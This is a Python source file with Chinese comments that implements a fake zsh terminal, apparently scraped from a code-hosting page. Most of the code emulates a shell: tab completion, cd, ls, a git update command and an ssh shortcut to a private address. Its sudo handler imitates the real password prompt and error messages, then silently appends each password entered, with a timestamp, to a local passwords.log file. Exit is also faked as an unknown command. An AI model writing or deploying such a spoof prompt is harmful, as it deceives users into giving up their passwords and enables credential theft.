131 lines
5.2 KiB
Python
131 lines
5.2 KiB
Python
import os, readline, time, getpass, sys, re, shlex, subprocess, random
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from datetime import datetime
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# 自动补全功能，基于系统命令和当前目录的文件
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def completer(text, state):
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# 获取系统命令
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commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin')
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# 获取当前目录的文件和文件夹
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local_files = os.listdir(os.getcwd())
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# 合并系统命令和当前目录的文件
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matches = [cmd for cmd in commands + local_files if cmd.startswith(text)]
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return matches[state] if state < len(matches) else None
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# # 获取真正的 Last login 信息
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# def get_last_login():
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# try:
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# # 使用 `last` 命令获取登录信息
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# result = subprocess.run(['last', '-1'], stdout=subprocess.PIPE, text=True)
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# last_login_line = result.stdout.splitlines()[0] # 获取第一行
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# return last_login_line
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# except Exception as e:
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# return "Last login: unknown" # 如果出错，返回默认值
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# 模拟一个简单的 zsh 终端
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def pseudo_zsh():
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# 配置 readline 的自动补全功能
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readline.parse_and_bind("tab: complete")
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readline.set_completer(completer)
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os.system("clear") # 清屏
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subprocess.run("cd /", shell=True) # 切换到用户目录
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print(f"Last login: {datetime.now().strftime('%a %b %d %H:%M:%S %Y')} on ttys000")
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while True:
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try:
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dir = os.getcwd()
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if dir == '/':
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CmdDir = '/'
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elif re.match(dir, "/home/*"): # 用户目录下的任意文件夹
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CmdDir = '~'
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elif re.match(dir, "*PyShell*"):
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CmdDir = '~/'
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else:
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CmdDir = dir.split('/')[-1]
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if dir.split('/')[-1] == 'PyShell' :
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CmdDir = '~/'
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# 显示提示符并获取用户输入
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cmd = input(f"20250910553@何相龙 {CmdDir} % ")
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# 如果输入特定命令 "hxl"，退出程序
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if cmd.strip() == "exit":
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print("zsh: command not found: exit")
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break
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# 使用 shlex 分割用户输入为命令和参数
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args = shlex.split(cmd)
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if not args: # 如果输入为空，跳过本次循环
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continue
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if args[0] == 'cd':
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try:
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os.chdir(args[1]) # 切换到指定目录
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# 更新终端窗口标题
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CmdDir = os.getcwd().split('/')[-1]
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sys.stdout.write(f"\033]0;20250910553@何相龙 {CmdDir}\007")
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sys.stdout.flush()
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except IndexError:
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print("cd: missing argument") # 缺少参数
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except FileNotFoundError:
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print(f"cd: no such file or directory: {args[1]}") # 目录不存在
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continue
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if args[0] == 'l':
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subprocess.run(['ls','-l']) # 执行 ls 命令
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if args[0] == 'ssh1':
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subprocess.run(['ssh','root@10.147.17.161'])
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if args[0] == 'update':
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try:
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print("Updating code...")
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subprocess.run(['git', 'pull'])
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subprocess.run(['git', 'push'])
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print("Code synchronized successfully.")
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print("Restarting the program...")
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time.sleep(2) # 等待 2 秒
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os.execv(sys.executable, ['python3'] + sys.argv) # 重新运行程序
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except Exception as e:
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print(f"Error during update: {e}")
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if args[0] == 'sudo':
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flight1 = True
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a = 0
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for attempt in range(3): # 循环 3 次
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a += 1
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fake_password = getpass.getpass("Password: ")
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if fake_password == "1234":
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print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
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flight1 = False
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break
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with open("passwords.log", "a") as f:
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current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
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f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
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delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒
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time.sleep(delay) # 模拟延迟
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if a != 3:
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print("Sorry, try again.")
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if flight1:
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print("sudo: 3 incorrect password attempts") # 提示错误次数
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continue
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# 执行普通命令
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try:
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subprocess.run(args)
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except FileNotFoundError:
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print(f"zsh: command not found: {args[0]}")
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# 修改终端窗口标题
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sys.stdout.write(f"\033]0;zsh\007") # 使用 ANSI 转义序列设置标题
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sys.stdout.flush()
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except KeyboardInterrupt:
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print(f"^C")
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except EOFError:
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print(f"")
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if __name__ == "__main__":
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pseudo_zsh() |